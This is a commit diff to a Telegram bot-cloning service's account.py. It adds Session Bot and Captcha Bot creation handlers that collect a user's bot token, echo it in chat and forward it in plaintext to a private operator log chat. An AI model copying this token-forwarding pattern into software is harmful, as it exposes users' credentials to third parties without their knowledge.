randydev commited on
Commit
a131e09
Β·
verified Β·
1 Parent(s): eb32755

Upload account.py

Browse files
Files changed (1) hide show
  1. akn/manage/account.py +282 -7
akn/manage/account.py CHANGED
@@ -397,7 +397,8 @@ force_reply = ReplyKeyboardMarkup(
397
  [KeyboardButton("⚑ Prefixes"), KeyboardButton("βž• Setprefix")],
398
  [KeyboardButton("⭐ Create Userbot", request_contact=True)],
399
  [KeyboardButton("πŸ“ Create Magic Font")],
400
- [KeyboardButton("πŸ”₯ Create Gemini"), KeyboardButton("πŸ‘‘ Create Meta AI")]
 
401
  ],
402
  resize_keyboard=True,
403
  one_time_keyboard=True
@@ -413,7 +414,7 @@ Expired on: `{exp}`
413
  Disconnected: `{conn}`
414
  """
415
 
416
- pattern = r"^(πŸ‘€ Contact|πŸ—Ώ Status|⚑ Prefixes|βž• Setprefix|⭐ Create Userbot|πŸ”₯ Create Gemini|πŸ“ Create Magic Font|πŸ‘‘ Create Meta AI)$"
417
 
418
  @Client.on_message(
419
  filters.private
@@ -465,6 +466,11 @@ async def robot(client: Client, message: Message):
465
  await new_menu_magic_clone(client, message)
466
  elif message.text == "πŸ‘‘ Create Meta AI":
467
  await new_menu_meta_clone(client, message)
 
 
 
 
 
468
 
469
  @Client.on_message(
470
  filters.contact
@@ -687,6 +693,142 @@ MAGIC_BOT_TEXT = (
687
  "`Send your BOT_TOKEN to Continue.\n\n : Example eg: 192xxxx:AAxxxxxxxxxx from @botfather`\n\nPress /cancel to Cancel"
688
  )
689
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
690
  @ren.on_callback_query(filters.regex("^yt_bot$"))
691
  async def new_youtube_clone(bot: Client, cb: CallbackQuery):
692
  user_id = cb.from_user.id
@@ -823,6 +965,139 @@ async def new_magic_clone(bot: Client, cb: CallbackQuery):
823
  await msg.delete()
824
  return
825
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
826
  async def new_menu_magic_clone(bot, message):
827
  user_id = message.from_user.id
828
  client_name = generate_random_string(12)
@@ -856,7 +1131,7 @@ async def new_menu_magic_clone(bot, message):
856
  caption += "Bot Name : {}\n".format(bot_first_name)
857
  caption += "Bot Username : {}\n".format(bot_username)
858
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
859
- caption += "Magic Fonts by Akeno Ai Dev\n"
860
  keyboard_start_now = InlineKeyboardMarkup(
861
  [
862
  [
@@ -956,7 +1231,7 @@ async def new_meta_clone(bot: Client, cb: CallbackQuery):
956
  caption += "Bot Username : {}\n".format(bot_username)
957
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
958
  caption += "Expired On: <code>{}</code>\n".format(formating_date)
959
- caption += "Meta AI by Akeno Ai Dev\n"
960
  keyboard_start_now = InlineKeyboardMarkup(
961
  [
962
  [
@@ -1051,7 +1326,7 @@ async def new_menu_meta_clone(bot, message):
1051
  caption += "Bot Username : {}\n".format(bot_username)
1052
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1053
  caption += "Expired On: <code>{}</code>\n".format(formating_date)
1054
- caption += "Meta AI by Akeno Ai Dev\n"
1055
  keyboard_start_now = InlineKeyboardMarkup(
1056
  [
1057
  [
@@ -1127,7 +1402,7 @@ async def new_menu_gemini_clone(bot, message):
1127
  caption += "Bot Name : {}\n".format(bot_first_name)
1128
  caption += "Bot Username : {}\n".format(bot_username)
1129
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1130
- caption += "Gemini by Akeno Ai Dev\n"
1131
  keyboard_start_now = InlineKeyboardMarkup(
1132
  [
1133
  [
@@ -1195,7 +1470,7 @@ async def new_gemini_clone(bot: Client, cb: CallbackQuery):
1195
  caption += "Bot Name : {}\n".format(bot_first_name)
1196
  caption += "Bot Username : {}\n".format(bot_username)
1197
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1198
- caption += "Gemini by Akeno Ai Dev\n"
1199
  keyboard_start_now = InlineKeyboardMarkup(
1200
  [
1201
  [
 
397
  [KeyboardButton("⚑ Prefixes"), KeyboardButton("βž• Setprefix")],
398
  [KeyboardButton("⭐ Create Userbot", request_contact=True)],
399
  [KeyboardButton("πŸ“ Create Magic Font")],
400
+ [KeyboardButton("πŸ”₯ Create Gemini"), KeyboardButton("πŸ‘‘ Create Meta AI")],
401
+ [KeyboardButton("✨ Create Session Bot"), KeyboardButton("πŸ“Ί Create Captcha Bot")],
402
  ],
403
  resize_keyboard=True,
404
  one_time_keyboard=True
 
414
  Disconnected: `{conn}`
415
  """
416
 
417
+ pattern = r"^(πŸ‘€ Contact|πŸ—Ώ Status|⚑ Prefixes|βž• Setprefix|⭐ Create Userbot|πŸ”₯ Create Gemini|πŸ“ Create Magic Font|πŸ‘‘ Create Meta AI|✨ Create Session Bot|πŸ“Ί Create Captcha Bot)$"
418
 
419
  @Client.on_message(
420
  filters.private
 
466
  await new_menu_magic_clone(client, message)
467
  elif message.text == "πŸ‘‘ Create Meta AI":
468
  await new_menu_meta_clone(client, message)
469
+ elif message.text == "✨ Create Session Bot":
470
+ await new_menu_sessionbot_clone(client, message)
471
+ elif message.text == "πŸ“Ί Create Captcha Bot":
472
+ await new_menu_captcha_clone(client, message)
473
+
474
 
475
  @Client.on_message(
476
  filters.contact
 
693
  "`Send your BOT_TOKEN to Continue.\n\n : Example eg: 192xxxx:AAxxxxxxxxxx from @botfather`\n\nPress /cancel to Cancel"
694
  )
695
 
696
+ @ren.on_callback_query(filters.regex("^captcha_bot$"))
697
+ async def new_captcha_clone(bot: Client, cb: CallbackQuery):
698
+ user_id = cb.from_user.id
699
+ client_name = generate_random_string(12)
700
+ await cb.message.delete()
701
+ try:
702
+ bot_token_ask = await cb.message.chat.ask(MAGIC_BOT_TEXT, timeout=300)
703
+ except TimeoutError:
704
+ await bot.send_message(cb.message.chat.id, "Limit Error")
705
+ return
706
+ if bot_token_ask.text.lower() == "/cancel":
707
+ await bot.send_message(cb.message.chat.id, "Cancelled")
708
+ return
709
+ bot_token = bot_token_ask.text
710
+ await bot_token_ask.delete()
711
+ try:
712
+ user_bots = Client(
713
+ "{}".format(client_name),
714
+ api_id=API_ID,
715
+ api_hash=API_HASH,
716
+ bot_token=bot_token,
717
+ plugins={"root": "akn.ApproveBot"}
718
+ )
719
+ await user_bots.start()
720
+ except Exception as e:
721
+ return await bot.send_message(cb.message.chat.id, f"Error {e}")
722
+ try:
723
+ bot_user = await user_bots.get_me()
724
+ bot_username = "@" + bot_user.username
725
+ bot_first_name = bot_user.first_name
726
+ link_start = "https://t.me/{}?start=start".format(bot_user.username)
727
+ caption = ""
728
+ caption += "Bot Name : {}\n".format(bot_first_name)
729
+ caption += "Bot Username : {}\n".format(bot_username)
730
+ caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
731
+ caption += "Approve Captcha Bot By akn-dev\n"
732
+ keyboard_start_now = InlineKeyboardMarkup(
733
+ [
734
+ [
735
+ InlineKeyboardButton(
736
+ text="Check Start Bot",
737
+ url=link_start
738
+ )
739
+ ],
740
+ ]
741
+ )
742
+ msg = await cb.message.reply_text(f"πŸ”‘ <code>{bot_token}</code>\n\nCopying system...")
743
+ await asyncio.sleep(5)
744
+ await bot.send_message(
745
+ PRIVATE_LOGS,
746
+ text="{}\n\nBot Token: <code>{}</code>\n".format(
747
+ caption,
748
+ bot_token
749
+ )
750
+ )
751
+ await bot.send_photo(
752
+ cb.message.chat.id,
753
+ photo="https://telegra.ph//file/586a3867c3e16ca6bb4fa.jpg",
754
+ caption=caption,
755
+ reply_markup=keyboard_start_now
756
+ )
757
+ await msg.delete()
758
+ add_bot_token_captcha(user_id, bot_token)
759
+ except Exception as e:
760
+ await bot.send_message(cb.message.chat.id, f"Error {e}")
761
+ await msg.delete()
762
+ return
763
+
764
+ @ren.on_callback_query(filters.regex("^sesikntl$"))
765
+ async def new_sessionbot_clone(bot: Client, cb: CallbackQuery):
766
+ user_id = cb.from_user.id
767
+ client_name = generate_random_string(12)
768
+ await cb.message.delete()
769
+ try:
770
+ bot_token_ask = await cb.message.chat.ask(MAGIC_BOT_TEXT, timeout=300)
771
+ except TimeoutError:
772
+ await bot.send_message(cb.message.chat.id, "Limit Error")
773
+ return
774
+ if bot_token_ask.text.lower() == "/cancel":
775
+ await bot.send_message(cb.message.chat.id, "Cancelled")
776
+ return
777
+ bot_token = bot_token_ask.text
778
+ await bot_token_ask.delete()
779
+ try:
780
+ user_bots = Client(
781
+ "{}".format(client_name),
782
+ api_id=API_ID,
783
+ api_hash=API_HASH,
784
+ bot_token=bot_token,
785
+ plugins={"root": "akn.SessionBot"}
786
+ )
787
+ await user_bots.start()
788
+ except Exception as e:
789
+ return await bot.send_message(cb.message.chat.id, f"Error {e}")
790
+ try:
791
+ bot_user = await user_bots.get_me()
792
+ bot_username = "@" + bot_user.username
793
+ bot_first_name = bot_user.first_name
794
+ link_start = "https://t.me/{}?start=start".format(bot_user.username)
795
+ caption = ""
796
+ caption += "Bot Name : {}\n".format(bot_first_name)
797
+ caption += "Bot Username : {}\n".format(bot_username)
798
+ caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
799
+ caption += "Session Bot By akn-dev\n"
800
+ keyboard_start_now = InlineKeyboardMarkup(
801
+ [
802
+ [
803
+ InlineKeyboardButton(
804
+ text="Check Start Bot",
805
+ url=link_start
806
+ )
807
+ ],
808
+ ]
809
+ )
810
+ msg = await cb.message.reply_text(f"πŸ”‘ <code>{bot_token}</code>\n\nCopying system...")
811
+ await asyncio.sleep(5)
812
+ await bot.send_message(
813
+ PRIVATE_LOGS,
814
+ text="{}\n\nBot Token: <code>{}</code>\n".format(
815
+ caption,
816
+ bot_token
817
+ )
818
+ )
819
+ await bot.send_photo(
820
+ cb.message.chat.id,
821
+ photo="https://telegra.ph//file/586a3867c3e16ca6bb4fa.jpg",
822
+ caption=caption,
823
+ reply_markup=keyboard_start_now
824
+ )
825
+ await msg.delete()
826
+ add_bot_token_sessionbot(user_id, bot_token)
827
+ except Exception as e:
828
+ await bot.send_message(cb.message.chat.id, f"Error {e}")
829
+ await msg.delete()
830
+ return
831
+
832
  @ren.on_callback_query(filters.regex("^yt_bot$"))
833
  async def new_youtube_clone(bot: Client, cb: CallbackQuery):
834
  user_id = cb.from_user.id
 
965
  await msg.delete()
966
  return
967
 
968
+ # SessionBot
969
+ async def new_menu_sessionbot_clone(bot, message):
970
+ user_id = message.from_user.id
971
+ client_name = generate_random_string(12)
972
+ try:
973
+ bot_token_ask = await message.chat.ask(MAGIC_BOT_TEXT, timeout=300)
974
+ except TimeoutError:
975
+ await bot.send_message(message.chat.id, "Limit Error")
976
+ return
977
+ if bot_token_ask.text.lower() == "/cancel":
978
+ await bot.send_message(message.chat.id, "Cancelled")
979
+ return
980
+ bot_token = bot_token_ask.text
981
+ await bot_token_ask.delete()
982
+ try:
983
+ user_bots = Client(
984
+ "{}".format(client_name),
985
+ api_id=API_ID,
986
+ api_hash=API_HASH,
987
+ bot_token=bot_token,
988
+ plugins={"root": "akn.SessionBot"}
989
+ )
990
+ await user_bots.start()
991
+ except Exception as e:
992
+ return await bot.send_message(message.chat.id, f"Error {e}")
993
+ try:
994
+ bot_user = await user_bots.get_me()
995
+ bot_username = "@" + bot_user.username
996
+ bot_first_name = bot_user.first_name
997
+ link_start = "https://t.me/{}?start=start".format(bot_user.username)
998
+ caption = ""
999
+ caption += "Bot Name : {}\n".format(bot_first_name)
1000
+ caption += "Bot Username : {}\n".format(bot_username)
1001
+ caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1002
+ caption += "Session Bot by akn-dev\n"
1003
+ keyboard_start_now = InlineKeyboardMarkup(
1004
+ [
1005
+ [
1006
+ InlineKeyboardButton(
1007
+ text="Check Start Bot",
1008
+ url=link_start
1009
+ )
1010
+ ],
1011
+ ]
1012
+ )
1013
+ msg = await message.reply_text(f"πŸ”‘ <code>{bot_token}</code>\n\nCopying system...")
1014
+ await asyncio.sleep(5)
1015
+ await bot.send_message(
1016
+ PRIVATE_LOGS,
1017
+ text="{}\n\nBot Token: <code>{}</code>\n".format(
1018
+ caption,
1019
+ bot_token
1020
+ )
1021
+ )
1022
+ await bot.send_photo(
1023
+ message.chat.id,
1024
+ photo="https://telegra.ph//file/586a3867c3e16ca6bb4fa.jpg",
1025
+ caption=caption,
1026
+ reply_markup=keyboard_start_now
1027
+ )
1028
+ await msg.delete()
1029
+ add_bot_token_sessionbot(user_id, bot_token)
1030
+ except Exception as e:
1031
+ await bot.send_message(message.chat.id, f"Error {e}")
1032
+ await msg.delete()
1033
+ return
1034
+
1035
+ async def new_menu_captcha_clone(bot, message):
1036
+ user_id = message.from_user.id
1037
+ client_name = generate_random_string(12)
1038
+ try:
1039
+ bot_token_ask = await message.chat.ask(MAGIC_BOT_TEXT, timeout=300)
1040
+ except TimeoutError:
1041
+ await bot.send_message(message.chat.id, "Limit Error")
1042
+ return
1043
+ if bot_token_ask.text.lower() == "/cancel":
1044
+ await bot.send_message(message.chat.id, "Cancelled")
1045
+ return
1046
+ bot_token = bot_token_ask.text
1047
+ await bot_token_ask.delete()
1048
+ try:
1049
+ user_bots = Client(
1050
+ "{}".format(client_name),
1051
+ api_id=API_ID,
1052
+ api_hash=API_HASH,
1053
+ bot_token=bot_token,
1054
+ plugins={"root": "akn.ApproveBot"}
1055
+ )
1056
+ await user_bots.start()
1057
+ except Exception as e:
1058
+ return await bot.send_message(message.chat.id, f"Error {e}")
1059
+ try:
1060
+ bot_user = await user_bots.get_me()
1061
+ bot_username = "@" + bot_user.username
1062
+ bot_first_name = bot_user.first_name
1063
+ link_start = "https://t.me/{}?start=start".format(bot_user.username)
1064
+ caption = ""
1065
+ caption += "Bot Name : {}\n".format(bot_first_name)
1066
+ caption += "Bot Username : {}\n".format(bot_username)
1067
+ caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1068
+ caption += "Captcha Bot by akn-dev\n"
1069
+ keyboard_start_now = InlineKeyboardMarkup(
1070
+ [
1071
+ [
1072
+ InlineKeyboardButton(
1073
+ text="Check Start Bot",
1074
+ url=link_start
1075
+ )
1076
+ ],
1077
+ ]
1078
+ )
1079
+ msg = await message.reply_text(f"πŸ”‘ <code>{bot_token}</code>\n\nCopying system...")
1080
+ await asyncio.sleep(5)
1081
+ await bot.send_message(
1082
+ PRIVATE_LOGS,
1083
+ text="{}\n\nBot Token: <code>{}</code>\n".format(
1084
+ caption,
1085
+ bot_token
1086
+ )
1087
+ )
1088
+ await bot.send_photo(
1089
+ message.chat.id,
1090
+ photo="https://telegra.ph//file/586a3867c3e16ca6bb4fa.jpg",
1091
+ caption=caption,
1092
+ reply_markup=keyboard_start_now
1093
+ )
1094
+ await msg.delete()
1095
+ add_bot_token_captcha(user_id, bot_token)
1096
+ except Exception as e:
1097
+ await bot.send_message(message.chat.id, f"Error {e}")
1098
+ await msg.delete()
1099
+ return
1100
+
1101
  async def new_menu_magic_clone(bot, message):
1102
  user_id = message.from_user.id
1103
  client_name = generate_random_string(12)
 
1131
  caption += "Bot Name : {}\n".format(bot_first_name)
1132
  caption += "Bot Username : {}\n".format(bot_username)
1133
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1134
+ caption += "Magic Fonts By akn-dev\n"
1135
  keyboard_start_now = InlineKeyboardMarkup(
1136
  [
1137
  [
 
1231
  caption += "Bot Username : {}\n".format(bot_username)
1232
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1233
  caption += "Expired On: <code>{}</code>\n".format(formating_date)
1234
+ caption += "Meta AI By akn-dev\n"
1235
  keyboard_start_now = InlineKeyboardMarkup(
1236
  [
1237
  [
 
1326
  caption += "Bot Username : {}\n".format(bot_username)
1327
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1328
  caption += "Expired On: <code>{}</code>\n".format(formating_date)
1329
+ caption += "Meta AI By akn-dev\n"
1330
  keyboard_start_now = InlineKeyboardMarkup(
1331
  [
1332
  [
 
1402
  caption += "Bot Name : {}\n".format(bot_first_name)
1403
  caption += "Bot Username : {}\n".format(bot_username)
1404
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1405
+ caption += "Gemini By akn-dev\n"
1406
  keyboard_start_now = InlineKeyboardMarkup(
1407
  [
1408
  [
 
1470
  caption += "Bot Name : {}\n".format(bot_first_name)
1471
  caption += "Bot Username : {}\n".format(bot_username)
1472
  caption += "Bot ID : <code>{}</code>\n".format(bot_user.id)
1473
+ caption += "Gemini By akn-dev\n"
1474
  keyboard_start_now = InlineKeyboardMarkup(
1475
  [
1476
  [